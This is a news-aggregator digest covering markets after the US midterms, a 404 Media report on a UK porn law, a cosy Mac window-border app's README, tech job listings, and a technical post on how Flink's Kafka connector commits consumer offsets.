Democratic victories in key gubernatorial races raised the prospect of tougher scrutiny for data center projects, adding to investor concerns about how quickly new capacity can be built and financed.

OpenAI pledges to pay for data center power after election highlights AI concerns

Sam Altman, chief executive officer and co-founder of OpenAI Inc., speaks during a Bloomberg Television interview at OpenAI DevDay in San Francisco, California, US, on Tuesday, Sept. 29, 2026.

Minh Connors | Bloomberg | Getty Images

OpenAI reaffirmed its promise to pay the full cost of powering data centers as part of a series of commitments the company published Thursday, two days after voters at the polls roundly rejected the rapid expansion of AI.

U.K.'s FTSE 100 hits three-month high

The FTSE 100 touched a three-month high on Thursday morning.

The U.K.'s blue-chip index rose as much as 119 points to 10,948, up more than 1.1% in early trading and reaching its highest level since Aug 7. The index was last seen 0.86% higher.

The rise comes as traders await the Bank of England's latest interest rate decision, due later Thursday. The market expects the central bank's rate-setting Monetary Policy Committee to raise rates by 25 basis points to 4% from 3.75% — its first hike in more than three years.

Stock Chart Icon Stock chart icon

hide content

FTSE 100.

Shares in British lenders moved higher ahead of the BoE's decision, due at 12:00 p.m. in London (7:00 a.m. E.T.). Barclays was up 2.2%, while Lloyds Banking Group added 1.9% and NatWest was 1.4% higher.

Sterling was up almost 0.1% against the dollar at $1.3482.

— Hugh Leask

Rheinmetall shares plunge 16% after outlook cut as military contracts stall

German Rheinmetall MAN tactical military transport vehicles parked in the Edvard Peperko military barracks.

Luka Dakskobler | Lightrocket | Getty Images

German defense giant Rheinmetall cut its full-year guidance late Wednesday, citing delays to military contracts and ammunition deliveries, sending shares down as much as 16% in early trading.

It marks the company's second outlook cut since August, when Germany scrapped plans to build warships in what would have been Rheinmetall's biggest order since World War II.

The defense company now expects sales to rise to around 13.2 billion euros ($14.9 billion) in 2026, down from a prior outlook range of between 13.7 billion and 14.2 billion euros. It is expected to have an operating margin of around 18.5%, down from the previously expected 19%.

Rheinmetall said it's revising its 2026 guidance due to delays in the German military's Arminius Boxer project, now expected to be commissioned next year, and setbacks in artillery ammunition acceptance testing.

Read more here .

— Elsa Ohlen

European stock markets open in the green

The pan-European Stoxx 600 was up 0.48% shortly after 8:05 a.m. in London (3:05 a.m. in E.T.), as the continent's major bourses and sectors opened the day in the green.

Basic resources led gains, rising 2.51%, followed by autos and parts, which rose 2.05%. Travel and leisure stocks added 1.76%. Oil and gas reversed by 1.84%.

In Paris, France's CAC 40 was up 1.08%, as the U.K. FTSE 100 advanced 1.05% in London. In Milan, the Italian FTSE MIB was up almost 0.1%, and Germany's DAX added 0.16% in Frankfurt.

— Hugh Leask

World's biggest spirit maker says Iran war is leading to continued volatility

A customers grabs a bottle of Johnnie Walker Black Label whisky, a Diageo Plc product, for sale at a liquor store in Johannesburg, South Africa, on Thursday, July 31, 2025. The Kenya-based unit of Diageo Plc reported profit for the year through end June of 12.2 billion shillings ($94.4 million) Photographer: Leon Sadiki/Bloomberg via Getty Images

Bloomberg | Bloomberg | Getty Images

Diageo said the U.S-Iran war is continuing to weigh on operations in its first-quarter trading update on Thursday after net sales rose marginally.

The British spirits giant, which owns brands including Johnnie Walker scotch whisky, Guinness stout, Smirnoff vodka and Tanqueray gin, said net sales were up 1.2% to $4.9 billion year-on-year, while organic volume growth declined 0.1% and price/mix was up 0.7%.

"Whilst the market remains challenging, and volatility continues given the geopolitical uncertainty and impact of the ongoing conflict in the Middle East on energy, supply and distribution, results in the first quarter represent a small step in the right direction," Diageo's CEO Sir Dave Lewis said in the update.

Diageo said earlier this year that it's embarking on a restructuring strategy which will amount to $1.2 billion in savings over 2027 and 2028.

— Sawdah Bhaimiya

South Korea’s Kospi plunges 5% as Asia-Pacific markets close mixed

Asia-Pacific markets closed mixed Thursday.

South Korea's Kospi fell 5.28%, leading losses in the region to end the trading day at 5,383.8. The small-cap, tech-focused Kosdaq fell 5.11%, closing at 678.41.

Japan's Nikkei 225 dropped 1.79% to 61,077.9, and the broad-based Topix gained 1.16% at 3,940.39.

Mainland China's CSI 300 rose 0.29% to 4,113.41, while Hong Kong's Hang Seng index was up 3.61% as of its last hour of trade.

Australia's S&P/ASX 200 added 2.61% to 9,065.1.

— Lee Ying Shan

Maersk lifts profit outlook for third time as higher freight rates boost earnings

The container ship Gunde Maersk docked at the Port of Oakland on June 24, 2024, in Oakland, California.

Justin Sullivan | Getty Images

Maersk generated $4.7 billion in earnings before interest, taxes, depreciation and amortization for the third-quarter, up from $2.6 billion in the same period last year.

In its third-quarter interim report, the Danish shipping and logistics mainstay raised its full-year profit guidance for a third time this year to between $14 billion and $14.5 billion, up from $10.5-12.5 billion.

Maersk said the Strait of Hormuz closure, adverse weather conditions in East Asia and broader congestion helped push average freight rates 46% higher, driving strong performance within its Ocean business.

"Despite continued geopolitical uncertainty and disruptions, global trade has remained remarkably resilient," Vincent Clerc, Maersk CEO, said.

"Demand is being driven not only by consumer spending, but increasingly by major investments in electrification, energy and the rapid expansion of AI infrastructure, generating significant flows of industrial cargo around the world."

— Hugh Leask

European stock markets set to start Thursday's session higher

The U.K. FTSE 100 is set to open 1.11% higher, with stock markets across Europe expected to begin Thursday's session in positive territory.

Futures tied to the Stoxx 50 were up 0.32% ahead of the opening bell.

France's CAC 40 is seen 0.29% higher, with Germany's DAX rising 0.36% and the Italian FTSE MIB up almost 0.1%

— Hugh Leask

Commerzbank’s net profit soars 45% in the third quarter

The logo of German bank Commerzbank seen on a branch office near the Commerzbank Tower in Frankfurt.

Daniel Roland | Afp | Getty Images

Commerzbank 's net profit reached 859 million euros ($967 million) in the third quarter, a 45% year-on-year jump, as third-quarter revenues rose 9% to 3.2 billion euros.

The rise was driven by a rise in securities-related fees, along with higher interest income from corporate lending and deposits.

Operating profits rose 17% to 40 billion in the first nine months of 2026, with net profits up 41% to 2.7 billion, which the German lender described in its quarterly earnings update Thursday as its best nine-month result on record.

Meanwhile, net interest income increased to 2.1 billion in the third quarter, as common equity tier (CET) 1 ratio — a measure of a bank's solvency — was 14.2% for the period, down slightly from the previous second quarter's 14.4%.

With Italian bank UniCredit on track to acquire the Frankfurt-listed lender, Commerzbank said it expects the remaining regulatory approvals for the deal to be approved in the fourth quarter or by early 2027.

"We are convinced that together with UniCredit, we can create value by consistently leveraging the strengths of both banks," said Commerzbank CEO Bettina Orlopp.

— Hugh Leask

Indonesia third-quarter growth beats expectations at 5.47%

Indonesia's economy grew faster than expected in the third quarter, expanding 5.47% from a year earlier.

That surpassed the 5.18% expansion expected by economists polled by Reuters, and was faster than the 5.29% seen in the preceding quarter.

Growth was powered by government spending, as well as accommodation and food service activities.

The data comes at a time when the country is seeing widespread student protests over income disparity, cost of living and environmental concerns.

The country's benchmark index rose nearly 2%.

— Lim Hui Jie

Data center operator NextDC's shares surge 48% as rival firms move to acquire large stake

Shares of Australian data center operator NextDC surged 48% Thursday after Goodman Group and U.S.-listed data center operator Digital Realty moved to acquire up to 9.9% of the company.

NextDC said in a regulatory filing that the two companies conducted an aftermarket bookbuild on Wednesday, seeking shares at A$9.50 apiece.

NextDC's board called the move "opportunistic," noting that it came two weeks after the company disclosed a power supply delay at its M3 Melbourne data center and revised its fiscal 2027 guidance.

— Jenny Lee

Hong Kong's Hang Seng Tech index surges over 5%, bucking broader Asia tech sell-off

Hong Kong's Hang Seng Tech index jumped more than 5% on Thursday, bucking a broader sell-off in technology stocks across Asia as Chinese tech heavyweights rallied.

Tech giant Alibaba surged 6.36%, while Tencent climbed 6.42%. Baidu and Kingsoft Cloud also rose 4.9% and 6.44%, respectively.

Chinese tech stocks rose even as those in Japan and South Korea dropped after a Democratic sweep in U.S. midterm elections stoked worries over curbs on AI infrastructure buildout.

— Lee Ying Shan

Asian chip stocks plunge as Democratic sweep in U.S. midterms fuels AI sector jitters

Asian semiconductor stocks tumbled Thursday, as investors weighed the implications of a sweeping Democratic victory in the U.S. midterm elections for the artificial intelligence sector.

Japanese chip-testing equipment maker Advantest plunged 11.69% and Lasertec shed 11.76%. Tokyo Electron declined 9.89%, while Renesas Electronics fell 6.37%, respectively. Tech-focused investment firm Softbank Group was down over 6%.

South Korean chipmakers also came under heavy selling pressure. Memory chip giant SK Hynix slumped 9.03%, while Samsung Electronics dropped 6.65%.

The sell-off comes amid concerns that a Democratic-controlled Congress could usher in tighter restrictions on data-center development, potentially weighing on demand for AI-related infrastructure and chips.

— Lee Ying Shan

South Korea's Kospi drops over 2%, Japan's Nikkei 225 gains 0.5%

Asia-Pacific markets opened mixed on Thursday.

Japan's Nikkei 225 gained 0.49%, while the Topix rose over 2%. South Korea's Kospi was down 2.33%, and the tech-focused, small-cap Kosdaq fell 1.24%.

Australia's S&P/ASX 200 was up 1.39%.

—Lee Ying Shan

Asia markets set to track Wall Street rally after sweeping Democratic midterm victory

Asia-Pacific markets were set to jump Thursday, tracking a Wall Street rally overnight as a decisive Democratic victory in the U.S. midterm elections eased political uncertainty, while a sharp drop in oil prices lifted investor sentiment.

Democrats secured control of both chambers of Congress, raising expectations of legislative gridlock that could constrain President Donald Trump's policy agenda. Trump's acceptance of the election results also helped calm investors.

Futures for Japan's Nikkei 225 in Chicago were at 63,160 while in Osaka they were last at 63,110 compared with the index's previous close of 62,188.63.

Futures for Hong Kong's Hang Seng index last traded at 24,425 compared with the index's last close of 23,919.5.

Australia's S&P/ASX 200 was up 1.81% in early trading.

Sentiment was further buoyed by an over 8% plunge in crude oil prices, as investors anticipated growing pressure on the Trump administration to bring an end to the war in Iran following Republican election losses.

— Lee Ying Shan

Arm, Coherent, Expedia among the names making moves after the bell

Check out the companies making the biggest moves after the bell:

  • Arm Holdings — Shares dipped almost 2% despite the designer of central processing units delivering a strong earnings report. The UK-based company reported adjusted earnings of 52 cents per share, compared to analysts polled by LSEG's consensus estimates for 47 cents.
  • Expedia — Shares tumbled more than 7% after it delivered mostly weaker-than-expected guidance for the current quarter. The online booking company forecasts revenue between $3.69 billion and $3.75 billion in the fourth quarter, but analysts polled by FactSet on average expected $3.74 billion. The company, however, beat estimates for both earnings and revenue in the third quarter.
  • Coherent — The optical materials company gained 7% after reporting adjusted earnings of $2.09 per share, compared to analysts polled by FactSet's estimates for $1.99 per share. Revenue also came in above estimates, as did guidance for the current quarter.

Read the full list here .

— Davis Giangiulio

Stock futures open flat

In the UK, Face Sitting Porn Might Land You in Jail

403 Media
www.404media.co
2026-11-05 12:09:04
The Crime and Policing Act, which goes into force on November 6, criminalizes possessing or publishing strangulation or suffocation porn, as well as some types of "close familial relatives" roleplay....
Original Article

“I adore breath play. I love being strangled, suffocated and drowned, and I love strangling and suffocating others. Waterboarding: that’s my favourite,” Melissa Todd , a UK-based writer and sex worker, told me. “Many women do: it really isn’t only horrid men forcing us to do these dreadful depraved acts. Interrupting oxygen supply produces the most intense sensation of euphoria. I enjoy it in my private life, and I offer it in sessions too.”

Starting tomorrow, she and anyone else in the UK distributing or possessing this type of content, even if it’s just recorded in the privacy of their homes and not for sale on a porn site, could face up to five years in prison. The maximum penalty for possession is “two years’ imprisonment for pornography that depicts strangulation or suffocation, or penetrative sexual activity between certain relatives,” according to the law, and “three years’ imprisonment for pornography depicting sexual activity involving a person who is, or is pretending to be, under 16,” with five years as the maximum penalty for publication of all of the above.

Updates to the Crime and Policing Act go into force on November 6. The law criminalizes a list of sexual acts, including downloading or making choking and incest roleplay porn. According to the law, it will be a criminal offense in England and Wales to possess or publish porn that “explicitly and realistically” depicts strangulation or suffocation, penetrative sexual activity between people who “a reasonable person would think are related, or pretending to be related, in a certain way” and sexual activity between people where “a reasonable person would think at least one person is, or is pretending to be, under 16.” Sixteen is the age of consent in the UK.

“You have to speak up for porn you don’t like, as well as the porn you do, because otherwise the government will keep censoring more and more depictions of acts they don’t fancy."

“The offences only capture pornography that shows people which appear, to a reasonable person, to be real,” the law states — whatever that means.

The rest of the law is similarly vague in defining what’s criminalized. The “guidance” on the law says: “We consider that strangulation generally means one person applying pressure to another person’s neck,” and “We consider that suffocation will generally mean depriving a person of air in a way that affects their ability to breathe. Unlike strangulation, this does not require pressure to the neck. It could, for example, involve covering someone’s mouth and nose or compressing their chest.” This could mean anything from relatively common acts like face sitting or pushing someone’s face into a mattress, to gagging and more extreme breathplay generally left to professionals. The law says it’ll be left to the courts to decide.

As the adult industry advocacy group Free Speech Coalition notes in its guide for performers and platforms , the government has said this content doesn’t need to appear life-threatening to count.

“This isn’t just about my personal preferences,” Todd said. “You have to speak up for porn you don’t like, as well as the porn you do, because otherwise the government will keep censoring more and more depictions of acts they don’t fancy. Even if you think strangulation is disgusting, immoral, dangerous, that is no reason to ban it. In a liberal democracy people must be allowed to behave in ways you think ridiculous and disgusting, in the hope that they in turn will extend the same courtesy to you. I don’t understand why people go skiing, or camping, or abseiling, but I’m happy for them to crack on with it. Consenting adults must be allowed to do whatever they want with their own bodies. It is illiberal and dangerous for the government to interfere."

The effect of the law’s vagueness — as it has been in the US when legislators, payment processors and platforms similarly inflict poorly-defined terms on sex workers — is censorship and has a chilling effect on otherwise consensual legal activity between adults. It’s already happening: Adult clip site iWantClips warned, according to content creators using its platform, that in light of the law it’s banning a list of genres and acts: “iWantClips is required to remove certain categories of content from the platform for Artists located in the UK,” the message said, followed by a list including every kind of “smother” imaginable (including ass, foot, and breast smothering), plastic fetishes, all face sitting and specifically, face sitting in jeans, “butt drops,” and trampling fantasies. This isn’t the first time iWantClips has complied in advance of a threat to free speech: In October 2021, following new, strict moderation and documentation regulations set by Mastercard, the platform told creators they’d need to review their archives of content and make sure it was in compliance or risk a permanent ban.

Kinky sex has long drawn the ire of UK officials. In 2014, the British Board of Film Classification attempted to ban a litany of erotic acts from video on demand and streaming services under the The Audiovisual Media Services Regulation. Many protesters doing face-sit-ins in front of Parliament pointed out at the time that the ban was focused on acts that prioritize women’s pleasure . The ban was overturned in 2019 .

UK based porn performer and producer Vex Ashley, who owns the independent studio Four Chambers , told me that when the Crime and Policing Bill went through Parliament earlier this year, she examined her back catalog and found that the work she considers her “magnum opus,” which explores the sexual archetype of the mother, could contain criminal content under this law.

“I had to go back and gut the film from the inside out,” Ashley told me. “It exists now in a very different form than it did when before. And obviously the law not only makes it illegal for me to publish it, but it also technically makes it illegal for me to possess the original cut of my film now, which just seems completely wild, considering that it’s me who is in it, and it's me talking about my own experience of my own sexuality.”

Ashley noted that attacks on sexual freedoms always come for non-normative sex first: “kink, fetish, queer and trans bodies, anything a compliance team can’t file under vanilla,” she said. This, she believes, is part of an ongoing swing toward conservatism, authoritarianism, and control.

"Even if you're somebody who doesn't care about porn, who doesn't care about sex, but you do care about this rollout of conservatism that's being force-fed to us, you can defend people's right to fuck and be fucked, and to explore that through media"

“The underlying message here is that actually, it's people's faults for being too horny, and that you should just control yourself,” she said. “That if you see this rollback in our sexual freedoms and this criminalisation of our sexual imaginations as wrong, you are just dangerous and perverted. Which is, I think, a swing back to old conservative and fascist ways of thinking about sex and freedom and bodily autonomy.” The “save the children” narratives that brought us harmful laws like FOSTA/SESTA in the US and an ongoing age verification nightmare around the world are at play with the Crime and Policing Act. In the UK, the Online Safety Act has forced people to verify their ages to use even non-sexually explicit parts of the internet . Looking at Pornhub from a UK-based IP address today, for example, you’d think it was a platform for podcasters and influencers; only once you log in and verify your age with a government ID and/or facial scan does the actual porn become visible.

Independent creators and people dependent on online sex work in the UK will be the hardest hit by this new law. Dominatrixes have reported that they’re expecting to take a financial hit. And even people and platforms outside of the UK may need to block users based in the UK from accessing their content to remain compliant. Many performers focus on specific niches to cater to audiences that seek out fetish content. But a lot of what’s being banned is already either banned by platforms or difficult to monetize, due to the extra-legal morality restrictions imposed by payment processors . Todd told me that while she enjoys the kind of content that’s now banned in the UK in her private life, she doesn’t bother uploading it to platforms where she could monetize it, because their terms of use have restricted most of it already.

Those trying to comply with the law and avoid the threat of jail time face a task. The law's guidance makes it clear that possession and publication apply retroactively. “It's easy to talk about pornography as though it's a constantly replenished stream of disposable content, but for many performers it represents years of work and a significant investment of time and money,” Todd said. “A back catalogue can be an important source of continuing income. If material has to be removed, that isn't simply a matter of changing what you film next week; it can mean losing an asset you've spent years creating.”

“Sex is a vital part of the human experience and it deserves exploration through storytelling, through media, through creation, in the same way that any other part of our experiences is,” Ashley said. “And that is not going to always be super comfortable. Sex is this very complicated, very vulnerable, very powerful thing, and it brings up a lot of things for different people.”

Deciding, as a society, that it’s not worth defending or thinking deeply about is doing us all a disservice, she said — and comes at the cost of sex workers’ safety and freedom. Faced with potential prison sentences for having a face sitting video stored on a hard drive, the freedom in this case is very literal. “Even if you're somebody who doesn't care about porn, who doesn't care about sex, but you do care about this rollout of conservatism that's being force-fed to us, you can defend people's right to fuck and be fucked, and to explore that through media... I think you can defend it even if you think it's complicated.”

About the author

Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex.

Samantha Cole

Bild AI (YC W25) Is Hiring Founding Product Engineers

Hacker News
www.ycombinator.com
2026-11-05 12:01:23
Comments...
Original Article

AI estimating & detailing for Division 8 doors, frames & hardware

Jobs at Bild AI

San Francisco

$120K - $180K

0.10% - 0.40%

Any (new grads ok)

San Francisco

$120K - $180K

0.10% - 0.40%

Any (new grads ok)

San Francisco, CA, US

$3K - $10K / monthly

Junior and above

Why you should join Bild AI

Bild AI is an early-stage startup with a ton of really difficult technical challenges to solve. We're building blueprint understanding with a model-garden approach, so there is a lots of ground to break. We raised from the top VCs in the world before demo day and have a customer-obsessed approach to product development.

Bild AI

Founded: 2024

Batch: W25

Team Size: 9

Status: Active

Location: San Francisco

Founders

Window Sweaters

Hacker News
github.com
2026-11-05 11:50:14
Comments...
Original Article

A little Mac app I made to give my windows sweaters. 🧶 Knitted borders, colours inspired by your favourite apps, and a cosier desktop.

Four overlapping windows edged with knitted borders in green, blue and rust colourways

Get it

You can just send this repo to your coding agent and ask it to install Window Sweaters for you:

Install Window Sweaters on my Mac: https://github.com/saragordic/window-sweaters

Or install it yourself with Homebrew :

brew trust saragordic/tap
brew install --cask saragordic/tap/window-sweaters

Then open Window Sweaters from your Applications folder.

You can also grab the latest ZIP from Releases , unzip it, and drag Window Sweaters.app into Applications.

If macOS blocks it, open System Settings → Privacy & Security → Open Anyway after trying to launch it. The app isn't notarized by Apple yet. Apple's instructions explain this step.

Make yourself cosy

Click the yarn icon in your menu bar to change the style, pattern, border width, and stitch size. You can also pause the sweaters or quit from there.

To leave an app bare, open Apps and untick it. Its windows lose their sweater straight away, everything else stays as it is, and it stays off until you tick it again, even after a restart. Only want sweaters on a few apps? Choose Turn Off for All Apps , then tick the ones you like. Apps you open later start off too.

By App gives each app its own sweater. Zigzag gives them all a softer, matching cream zigzag in colours taken from their icons. Try both and see what you like.

If macOS asks for Accessibility access, enable Window Sweaters in System Settings → Privacy & Security → Accessibility so it can follow which window is focused.

The sweaters

Custom sweaters for 37 apps, and counting! Almost 40 little colourways, with colours picked by hand. These are just a few of my favourites:

Eight apps shown in By App and Zigzag styles, with enlarged yarn details

Shown above in By App and Zigzag. Here’s everyone we’ve knitted for so far:

  • Apple: Finder, Safari, Mail, Messages, Notes, Calendar, Reminders, Apple Music, Photos, Preview, Terminal.
  • Work and notes: Notion, Paper, Granola, Microsoft Teams, Slack, Zoom.
  • Coding and AI: Cursor, VS Code, Claude, ChatGPT, Codex, Grok Bot, Ghostty.
  • Design: Figma, Adobe Photoshop, Adobe Illustrator.
  • Microsoft Office: Word, Excel, PowerPoint, Outlook.
  • More favourites: Spotify, WhatsApp, Google Chrome, Firefox, Telegram, Discord.

See every sweater and its close-up stitches in the catalogue , or download the By App PDF .

The 37 custom sweaters keep their hand-picked colours and patterns. Other apps borrow colours from their own icons, softened into yarn, and get a two-colour zigzag, picnic or twinkle sweater in By App mode. The pattern stays the same for each app. If an icon has no usable colour, the app keeps a stable colour chosen from its name.

Icons are sampled locally in the background when needed. While the colour is being prepared, the border uses its usual fallback. Zigzag uses icon colours for every app, the 37 custom ones included, with a cream zigzag, or a deeper shade of the app’s colour on pale apps. Colours you set in apps.conf always win. Other shared patterns keep their own contrast yarns, with each app’s own base colour.

A little work in progress

I built this on my Mac and use it myself, but there are still rough edges. Borders hide while you resize a window and return when you're done.

The app is built for macOS 13 or later, on Apple Silicon and Intel . I've tested it on Apple Silicon with macOS 26; older macOS versions and Intel Macs haven't had the same hands-on testing. It uses private macOS window APIs, so system updates may affect how it works.

If something looks wrong, open an issue and tell me your macOS version, Mac model, and whether you're using another screen. Reproduction steps help a lot.

Build it yourself

You'll need Apple's Command Line Tools ( xcode-select --install ) and Python 3.

git clone https://github.com/saragordic/window-sweaters.git
cd window-sweaters
./scripts/build-app.sh
python3 scripts/install-local.py

This builds outputs/Window Sweaters.app , installs it in ~/Applications , and opens it. The installer backs up any previous local installation before replacing it.

Your own colourways

If you'd like to experiment, edit these files and restart the app:

~/Library/Application Support/Knit Borders/apps.conf
~/Library/Application Support/Knit Borders/charts/

The folder still uses the app's original name so existing settings keep working. For example, an app rule looks like this:

Claude = #D58561 atelier-claude

Names match app-name prefixes, ignoring capitalisation; the longest match wins. You can also put your own PNG charts in the charts folder to replace built-in patterns.

If you like setting things up from the command line, Window Sweaters also runs an optional shell script at startup, if you have one at ~/.config/window-sweaters/sweatersrc or ~/.sweatersrc .

Taking it off

Quit Window Sweaters from the yarn icon first. Then, if you installed it with Homebrew:

brew uninstall --zap --cask window-sweaters

--zap also removes your saved colourways. Leave it off to keep them for later.

If you installed it by hand, drag Window Sweaters.app to the Trash, then delete these if you want everything gone:

~/Library/Application Support/Knit Borders
~/Library/Preferences/local.knitborders.app.plist

macOS remembers the Accessibility permission separately, so remove Window Sweaters from System Settings → Privacy & Security → Accessibility too.

Contributing

make test       # run the tests
make catalogue  # render the sweater collection
make bench     # benchmark the renderer

See CONTRIBUTING.md for more details.

Credits and license

Built on JankyBorders by Felix Kratz, with thanks. Released under GPL-3.0 . See NOTICE.md for attribution.

Podcast: Proton’s CEO Is Putting AI Before Security

403 Media
www.404media.co
2026-11-05 11:49:39
Inside Proton's AI reckoning, the AO3 outage, and why we're not tech support....
Original Article

Inside Proton's AI reckoning, the AO3 outage, and why we're not tech support.

Podcast: Proton’s CEO Is Putting AI Before Security
Collage by 404 Media.

We start this week with Joseph’s investigation into Proton’s culture of fear and the company’s massive push towards AI. A lot to unpack there. After the break, Sam tells us about the AO3 outage and its fallout. In the subscribers-only section, Jason explains: we’re not tech support.

Listen to the weekly podcast on Apple Podcasts , Spotify , or YouTube . Become a paid subscriber for access to this episode's bonus content and to power our journalism. If you become a paid subscriber, check your inbox for an email from our podcast host Transistor for a link to the subscribers-only version! You can also add that subscribers feed to your podcast app of choice and never miss an episode that way. The email should also contain the subscribers-only link for the extended video version too. It will also be in the show notes in your podcast player.

About the author

Joseph is an award-winning investigative journalist focused on generating impact. His work has triggered hundreds of millions of dollars worth of fines, shut down tech companies, and much more.

Joseph Cox

Vibe Coding Keypad

Hacker News
www.keychron.com
2026-11-05 11:43:16
Comments...
Original Article

WEB-BASED. NO DRIVERS

Pick a Preset, or Just Describe It

Plug in, open launcher.keychron.com in your browser, and the F4 is ready to configure — no download, no driver. Choose a ready-made preset for codex or claude and go, or remap the keys, record macros, and set how far each key travels.

The codex and claude presets each include a key for voice input. Prefer to just say it? The built-in AI assistant sets keys up from a plain-language request.

*The F4 does not have a built-in microphone. For voice input, use your computer's built-in microphone or an external microphone.

Paraguay bank collapses with half of population's savings

Hacker News
www.aljazeera.com
2026-11-05 11:32:46
Comments...
Original Article

NewsFeed

Protests have erupted across Paraguay after Ueno Bank was shut down in the middle of the night over a solvency crisis, leaving customers unable to access their money. An estimated 60% of the adult population banks with Ueno.

Published On 5 Nov 2026

Software Line Specialist

Lobsters
lovro-bikic.github.io
2026-11-05 11:32:29
Comments...
Original Article

This is a code-only role; for AI-native jobs, please look at our other listings

We’re looking for a senior software line specialist, in TypeScript !

ACME Inc. is a fast-growing startup helping small businesses monitor their financials. We work with business owners across the globe, turning their feedback into actionable insights. Backed by Maltese Falcon Capital, we recently raised a $15M Series A to bring effortless monitoring to every brick-and-mortar store.

You’ll be joining a high-performance, close-knit team of AI natives! We’ve been AI-first for the past 2 years, with every part of the product agent-friendly and interconnected: design, development, QA, CI/CD, infra, data analysis. We like to say that our stack is English!

While English has gotten us 99.5% of the way there, we’re in need of a hands-on engineer ready to close the final 0.5%. Over time, we’ve noticed some issues that are immune to prompts and catch agents in loops. Sometimes, the issue at hand gets fixed, but it results in another issue. This is where you step in. As a line specialist, your job will be to investigate and fix complex issues, primarily by reading the underlying code.

We’re looking for someone ready to open an IDE and dive deep into an unknown codebase — a fearless detective who is comfortable inspecting logs and database rows, and has the know-how to piece all the information together. The perfect candidate should be willing to work on a problem for hours, sometimes even days.

This is a new position for us. We expect someone who works autonomously, makes sound decisions independently and takes full ownership of their work. We are happy to help in any way we can (you’ll have access to agents’ reasoning traces), but ultimately we depend on your confidence in understanding the problem and shipping a solution.

Your responsibilities

  • take over unresolved issues from agents
  • read the codebase, go over application logs, query the database
  • prepare, test, review and ship fixes by yourself
  • write postmortems for agent training
  • occasionally consult on unreleased features
  • onboard and mentor a future junior line specialist

We think you’d be great if you…

  • have at least 5 years of pre-2022 TypeScript experience
  • are comfortable running tests manually and using a “debugger”
  • can reason from first principles
  • can work on a problem with sustained attention for hours
  • are autonomous and an independent thinker

Nice to have

  • previous experience as a line specialist
  • DB administration experience (our agents say it’s Postgres)
  • AI prompting basics

Interview process

  1. CV screening
  2. HR phone screen
  3. In-house paper-and-pencil exam
    • multiple-choice questions (e.g. you’re given a TypeScript expression, choose the correct result)
    • explain concepts in your own words (for example, ACID)
    • complete the code block
    • find the bug in a function
  4. Live debugging assignment
    • application with an intentional defect; candidates are required to find and fix the issue without the use of AI
  5. Culture fit interview
  6. CTO interview
  7. Offer

We feel it prudent to point out that you will be allowed to work on one thing at a time in this role. While parallel development is the default, we understand line specialists prefer to tackle problems in a single-threaded manner, so we will do our best to provide a distraction-free environment for your best work.

To be clear, this role does not include feature development. You’re welcome to look at our AI-native listings if you have more interest in such work!

Think you’re the IDEal fit? Apply now!

How Flink's Kafka connector commits offsets to Kafka

Lobsters
dalelane.co.uk
2026-11-05 11:31:51
Comments...
Original Article

An unnecessarily deep dive into how Flink commits Kafka consumer offsets.

A pull request of mine was merged into flink-connector-kafka this week. A ridiculous number of sketches and diagrams went into the commits to get the idea straight in my head, so in this post I tidied them up a bit to share.

How consumer offsets are used by Flink

If you run a Flink job that reads from Kafka, you’ve probably seen its consumer group in your Kafka tooling like any other Kafka consumer: committed offsets for each partition, and a lag figure showing how far behind the log end the job is.

Flink doesn’t need to depend on those committed offsets for its own work. The unit of work for a Flink source is a “split”. For Kafka, a split is a partition and the offset to read from (and for a bounded split, the offset to stop reading at). This is stored in Flink state. Each source reader holds a split for every partition it reads, and each split records the next Kafka offset to read.

When Flink takes a checkpoint, each split is saved in the checkpoint, and contains those offsets. If the job fails, or you restart it from a savepoint, the source picks up from the offsets in the checkpoint. That’s how Flink can offer exactly-once processing: the offsets and the rest of the job’s state are captured together, in the same consistent snapshot.

Typically, the Kafka source reader commits the checkpointed offsets to Kafka once a checkpoint has completed. Although that is not necessary for the Flink job, it’s useful for lag dashboards and alerting, in the same way as any other Kafka consumer, and helps to understand how the job is doing .

Lag that wasn’t going away

FLINK-33484 reported a problem with a Flink job consuming a transactional topic with isolation.level=read_committed . The job had read everything on the topic, but the reported lag according to Kafka was stuck at 1, not 0.

A plain Kafka Java consumer reading the same data from the same topic reported no lag. Flink wasn’t committing the right offset.

Every time a record is handed on to the rest of the job, the split’s position was updated :

splitState.setCurrentOffset(consumerRecord.offset() + 1);

The next offset to read is the one after the last record.

That’s the right thing to do for a non-transactional, uncompacted topic, where every offset holds a record.

It’s not always the right thing to do.

When a Kafka producer commits or aborts a transaction, the broker writes a transaction marker into each partition the transaction touched. That marker takes up an offset in the log like any other entry.

This is handled by the Kafka consumer. Transaction markers aren’t given to the application.

And if the application only asks for committed records ( read_committed ), records from aborted transactions are skipped in the same way. The consumer reads past them, and its position moves forward, but no record comes out for them.

Imagine a Kafka producer writes a single record in a transaction and commits it:

offset 0 record delivered to Flink
offset 1 commit marker read by the consumer
not delivered to Flink

The topic partition’s log end offset (and last stable offset) is 2 because that’s where the next entry will be written.

Flink emitted the record at offset 0, and set the split’s current offset to 1 ( because it added 1 to the offset it’s emitted ).

The Kafka consumer has actually read past the transaction marker, so its position is 2.

But at the next checkpoint, Flink committed an offset of 1 .

Any Kafka tooling set up to monitor Kafka consumer progress compared that with a log end of 2, and reported a lag of 1 .

On a busy topic, you’d barely notice. The next record arrives, gets emitted, and the committed offset jumps over the marker. The committed offset was always slightly behind, but only until new data arrives.

On a quiet or bursty topic, “until new data arrives” can be a long time. The job was fully caught up, but every checkpoint committed the same stale offset, and Kafka monitoring reported a lag that didn’t exist.

That was FLINK-33484 that I picked up a little while ago.

My first fix

How many “invisible” entries are there after a record, that Flink doesn’t see?

For a plain topic with no transactions, maybe none.

For a topic with a single transaction, maybe one.

For a topic where a producer has aborted its most recent transaction, maybe four.

For a topic where multiple transactional producers are sending events at the same time, maybe two.

You get the idea.

The point is, Flink’s KafkaRecordEmitter that was adding 1 can’t actually know how many invisible entries follow a record. Only the Kafka consumer knows that.

A Kafka consumer does know where it is, though.

consumer.position(tp) returns the offset of the next entry it will read, and that accounts for any markers and aborted records it skipped.

But I couldn’t just commit the consumer’s position. The consumer fetches batches of records from Kafka, ahead of what Flink has processed so far. Records can be sitting in the fetcher’s queue, waiting to be emitted. When Flink takes a checkpoint, the checkpoint doesn’t include the records that Flink hasn’t processed yet. The offset committed to Kafka shouldn’t either.

For my first fix attempt I only used the consumer’s position when I thought it was safe. My changes were in KafkaPartitionSplitReader , the class that owns the KafkaConsumer and runs on the split fetcher thread:

